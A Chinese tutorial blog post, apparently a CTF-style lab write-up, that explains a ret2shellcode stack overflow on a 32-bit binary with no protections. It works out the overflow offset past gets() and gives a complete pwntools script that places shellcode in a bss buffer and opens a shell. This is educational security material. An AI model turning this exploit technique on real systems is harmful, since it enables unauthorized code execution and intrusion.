当前位置:网站首页>堆栈认知——栈溢出实例(ret2shellcode)
堆栈认知——栈溢出实例(ret2shellcode)
2022-06-21 16:08:00 【行稳方能走远】
参考:栈溢出实例–笔记二(ret2shellcode)
地址:https://qingmu.blog.csdn.net/article/details/119303513
1、栈溢出含义及栈结构
请参考前一篇博文
2、ret2shellcode基本思路
ret2shellcode需要我们控制程序执行shellcode代码。即ret2shellcode的目标就是在栈上写入布局好的shellcode,利用ret-address返回到shellcode出执行我们的shellcode代码。
注意:在栈溢出的基础上,我们都是向栈中写入内容,所以要执行shellcode,需要对应的binary文件没有开启NX(栈不可执行)保护。
补充:什么是shellcode?
shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。
3、实战一下
3.1、二进制程序如下

可以看出这个程序是个32位的程序,什么保护机制都没开。
部分汇编如下:
反汇编伪代码如下:
我们发现这里有gets函数,并且未对输入的s做限制,那么肯定是通过s写入更多的内容来做栈溢出。
3.2、分析调试查看栈
我们运行到gets函数,查看栈结构:
此时栈的第一个参数的地址为0xffffd3fc,s的地址为0xf7ffd000。
此时我们想执行我们的shellcode,肯定要覆盖ret-address的地址嘛,ret-address的地址就在ebp的后面。
此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c
所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,这里就得跳到我们的shellcode的地址。
但是得注意我们的shellcode是在man结束后覆盖的返回值地址,那么此时gets函数的栈会被清空或者覆盖或者释放掉。那么此时我们覆盖的ret-address地址会找不到。但是我们发现

这个buf2是个bss段的地址,那么buf2的地址是不会变的,我们就可以让程序调到buf2的地址来运行我们的shellcode。
3.3、编写payload获取shell
和上篇文章一样使用Python来写。
# coding=UTF-8
from pwn import * #引用pwn库
p = process("./ret2shellcode") #指定程序
buf2_addr = 0x0804A080 #放置执行shellcode的地址
sc = asm(shellcraft.sh()) #生成shellcode
payload = sc.ljust(0x6c+4,"a") + p32(buf2_addr) # 构造payload
p.sendlineafter("No system for you this time !!!\n",payload) #在“No system for you this time !!!\n”后开始用payload覆盖栈
p.interactive() #生成一个shell与我们的shellcode交互
3.4、操作结果

此时已经成功的拿到了shell。
边栏推荐
- 如何写好技术文档 Software Engineering at Google
- My gadget - card learning app is complete
- In the "roll out" era of Chinese games, how can small and medium-sized manufacturers solve the problem of going to sea?
- 3DE 三維模型視圖看不到怎麼調整
- 程序员进修之路
- I am about to enter my senior year and begin my most sincere confession
- 经纬度转换为距离
- Software test system learning and construction (13) - basic requirements for test engineers of test foundation
- The node server res.end() writes Chinese, and the solution to the problem of garbled code in the client
- Differences between fragmentstatepageradapter and fragmentpageradapter
猜你喜欢

常见设置模式

Kubernetes + Yanrong SaaS data service platform, personalized demand support has never been lost

MySQL 1055错误-this is incompatible with sql_mode=only_full_group_by解决方案

Bm19 looking for peak

Yrcloudfile of Yanrong technology has completed the compatibility certification with ANTP to jointly create a new blueprint for storage

Pingcap was selected as the "voice of customers" of Gartner cloud database in 2022, and won the highest score of "outstanding performer"

3DE 运动轮廓数据修改

焱融科技 YRCloudFile 与安腾普完成兼容认证,共创存储新蓝图

硅橡胶玻纤管EN45545防火试验的难易程度

Nacos注册中心-----从0开始搭建和使用
随机推荐
第八章 可编程接口芯片及应用【微机原理】
module. Exports points to problems
kotlin 注解声明与使用
Xticks function in MATLAB
How to connect the Internet - FTTH
Kotlin annotation declaration and use
3DE 运动轮廓数据修改
How to write technical documents software engineering at Google
Kotlin DSL build
欧洲家具EN 597-1 跟EN 597-2两个阻燃标准一样吗?
The next stop of Intelligent Manufacturing: cloud native + edge computing two wheel drive
How to adjust 3DE 3D model view if you can't see it
我的小工具-卡片学习APP 完成啦
clickhouse学习笔记2:基本使用教程
Differences between fragmentstatepageradapter and fragmentpageradapter
Google play 应用签名密钥证书,上传签名证书区别
fs. Readfile() and fs writeFile()
多维分析预汇总应该怎样做才管用?
Bm95 points candy problem
path. join() 、path. Basename() and path extname()